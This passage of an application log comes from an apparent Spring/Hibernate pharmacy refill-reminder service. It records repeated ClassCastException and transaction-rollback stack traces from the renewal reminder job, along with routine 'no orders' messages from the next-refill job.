org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:40:00 INFO 